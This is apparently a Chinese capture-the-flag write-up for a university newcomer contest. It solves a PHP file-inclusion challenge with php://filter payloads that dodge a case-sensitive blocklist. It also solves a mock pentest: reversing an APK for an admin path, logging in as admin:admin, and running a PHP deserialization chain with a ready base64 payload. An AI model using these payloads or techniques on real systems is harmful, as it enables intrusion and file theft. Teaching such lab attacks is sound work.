进入网页,有100个按钮,每隔几秒刷新更换一下位置和样式
使用burpsuite爆破,查看响应长度
或者使用curl爆破
for i in {1..100};do echo $i;curl -ks http://challenge.hubuctf.cn:31642/flag$i.php | grep -i file;done
其中一个入口
<?php
highlight_file(__FILE__);
error_reporting(0);
if (preg_match('/base64|http/', $_GET['file'])) {
die('base64 | http is not allowed');
} else {
echo "flag in flag.php";
}
include $_GET['file'];
?> flag in flag.php
禁用了base64,而且data伪协议也用不了(没开allow_url_include=On)
但不区分大小写
?file=php://filter/convert.Base64-encode/resource=flag.php
另一个入口没给源码
file? 你能想到什么?file 需要传递
这个是用lfi的payload就行
?file=php://filter/convert.base64-encode/resource=flag.php
题目源码
略
Web Pentest
分类: Web | Pentest | 反序列化
难度:⭐⭐⭐⭐
Author: K10t
本题根据真实渗透场景来出的,一般来讲这也是一种渗透测试的重要思路。最后的进入后台你可以理解为有一个模板文件的修改,考察代码审计。
知识点
- APK分析
- 反序列化
Writeup
apk分析
进入网站,看到几张聊天记录的截图
发现有一些最新的资讯和评论,关于一个app。
找到对应的下载地址。一般来讲apk的分析是我们找到一些web页面的重要手段。很可能我们能够找到app的后台地址。因此找到这个apk然后下载。
分析apk ,这里考虑到很多都是ctf新生,因此没有利用一些分析工具去找url而是利用了更加直接的方式。两种方式找到对应的后台地址url
方式一
逆向手应该都有安卓模拟器,直接apk安装到模拟器上。或者直接安装到手机上。启动app就直接有了web后台地址。
方式二
misc 手应该需要会,apk本质也是个压缩包。把apk后缀改成zip然后解压。直接搜flag 但是有一点要注意,app打包之后xml文件是二进制。因此也考察了选手对于grep的使用情况
grep -a -r "flag" .
# 搜索二进制 递归搜索
找到后台,访问 /flag1-21daSD21agfgDDDZVFGSVsasd32Ws2asCZCDw.php
使用弱口令admin:admin
进去
接下来就是一个反序列化漏洞
<?php
error_reporting(0); //关闭错误报告
class K1T0
{
protected $file = 'FLAG.php';
public $test;
public function __construct($file)
{
$this->file = $file;
}
public function test()
{
system($this->test);
}
function __toString()
{
if (!empty($this->file)) {
if (!preg_match('/filter/', $this->file)) {
echo $this->file;
printf("再试试");
exit();
} else {
include($this->file);
}
}
return "successful guy!!!";
}
public function kkk()
{
eval ($this->test);
}
}
class APT
{
public $eth0;
public $eth1;
function __wakeup()
{
echo $this->eth0;
}
}
if (!isset($_GET['file'])) {
show_source(__FILE__);
} else {
$file = base64_decode($_GET['file']);
unserialize($file);
}
?>
其实这个序列化很简单链子是 APT-> K1T0 触发魔术方法 toString
<?php
error_reporting(0); //关闭错误报告
class K1T0
{
protected $file = 'php://filter/read=convert.base64-encode/resource=/flag';
public $test;
function __toString()
{
if (!empty($this->file)) {
if (!preg_match( "filter",$this->file)) {
printf("再试试");
exit();
}
else{
include($this->file);
}
}
return "successful guy!!!";
}
}
class APT
{
public $eth0;
public $eth1;
}
$a=new APT();
$a->eth0=new K1T0();
echo base64_encode(serialize($a));
?>
?file=TzozOiJBUFQiOjI6e3M6NDoiZXRoMCI7Tzo0OiJLMVQwIjoyOntzOjc6IgAqAGZpbGUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZmxhZyI7czo0OiJ0ZXN0IjtOO31zOjQ6ImV0aDEiO047fQ
你可能会读取 flag.php 但是是在/flag
题目不算很难,基本上路径上的路都给你铺好了。但是这确实一条很常见的渗透思路的路径,或许你之后的渗透中也能用上这种方式找到后台。
总结
这就是湖北大学新星赛的Web和Misc部分,主要面向新生,所以题目比较基础。